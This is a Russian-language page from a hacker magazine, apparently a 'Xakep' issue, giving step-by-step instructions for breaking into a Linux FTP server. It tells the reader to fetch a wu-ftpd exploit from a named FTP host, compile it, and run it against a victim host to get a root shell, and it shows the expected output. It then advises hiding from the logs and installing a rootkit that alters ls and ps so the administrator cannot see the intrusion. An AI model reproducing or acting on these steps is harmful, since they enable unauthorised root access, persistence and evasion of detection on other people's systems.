ВЗЛОМ LINUX

Xakep, номер #017, стр. 017-056-2


Теперь самое время скачать себе эксплоит, если ты этого еще не сделал. Эксплоит - это программа, которая использует уже существующую дырку в сервере. В нашем случае эксплоит перезапишет память программы кодами. Программа будет подчинена и даст тебе рута!

Итак, сам эксплоит тебе надо будет взять с ftp://adm.freelsd.net/ADM/exploits/ADMwuftpd.c. Сохрани его в файле ADMwuftpd.c (это сделает команда lynx -source ftp://adm.freelsd.net/ADM/exploits/ADMwuftpd.c > SploiT.c ). Потом скомпилируй его (то есть приведи его в состояние, нужное для того, чтобы эксплоит смог работать). Это можно сделать командой gcc -o SploiT SploiT.c.

Теперь ты можешь надеяться только на удачу. Пиши команду - ./SploiT ftp.victim.dom /incoming -l anomymous hihi@ и смотри. В случае успеха ты получишь что-то вроде

/

uid=0(root) gid=0(wheel) groups=0(wheel)

bash#

Все! Теперь ты рут на машине. Уже можно начинать делать какие-то действия и ломать дальше, с только что захваченного хоста - но стоит помнить о ЛОГАХ, о том, что ты оставил за собой и что именно по ним злой сисадмин сможет вычислить тебя, и потом вместо рутовских прав на машине ты реально сможешь получить дядек в штатском на пороге своего дома. Поэтому я немного расскажу тебе о том, как система Linux, которую мы только что сломали, пишет эти самые лог-файлы и как с ними можно побороться.

Бэкдоры

Теперь самое время троянить машину. Если ты думал, что трояны бывают только под windows, то ты глубоко ошибался; троян, вообще, - это не обязательно отдельный файл, это могут быть и изменения в коде какой-то программы, присутствующей в системе, чтобы затем вламываться не с шумом и с треском (использование эксплоита может сравниться с вышибанием двери плечом), а тихо и незаметно открывать дверцу имеющимся только у тебя секретным ключом. Это и делает руткит - уже готовый комплекс бэкдоров для линуксов, который тебе остается только поставить.

Порой администратор системы, безопасность которой была нарушена, и произошла потеря или утечка данных, действительно полезных и ценных для организации, сталкивается с тривиальным вопросом - фирма вполне справедливо может потребовать с него возмещения убытков, произошедших по его вине. Ответственность должности системного администратора, в чьих руках остается бухгалтерия, клиентская база и прочие конфиденциальные данные, на самом деле очень велика - он потеряет работу, если не сможет защитить свою компанию. Впрочем, при "ежедневном обходе" системный администратор, как правило, верит команде PS -aux, которая показывает ему список всех процессов, а также команде "ls", чтобы воспроизвести список файлов в директории.

Руткиты используются для модификации данных программ, а также многих других, показывающих наличие файлов, процессов и пользователей в системе. "ls" модифицируется, чтобы не показывать наличие типичных файлов в системе, ps перестает показывать процессы определенного пользователя. Как правило, системный администратор ничего не подозревает до тех пор, пока ему не приходит письмо от abuse@teleglobe.net или же не следует взбучка от шефа. На первый взгляд - невозможно определить, была ли система обработана или же нет, и потребуется много времени на оценку и определение проблемы.

Назад на стр. 017-056-1  Содержание  Вперед на стр. 017-056-3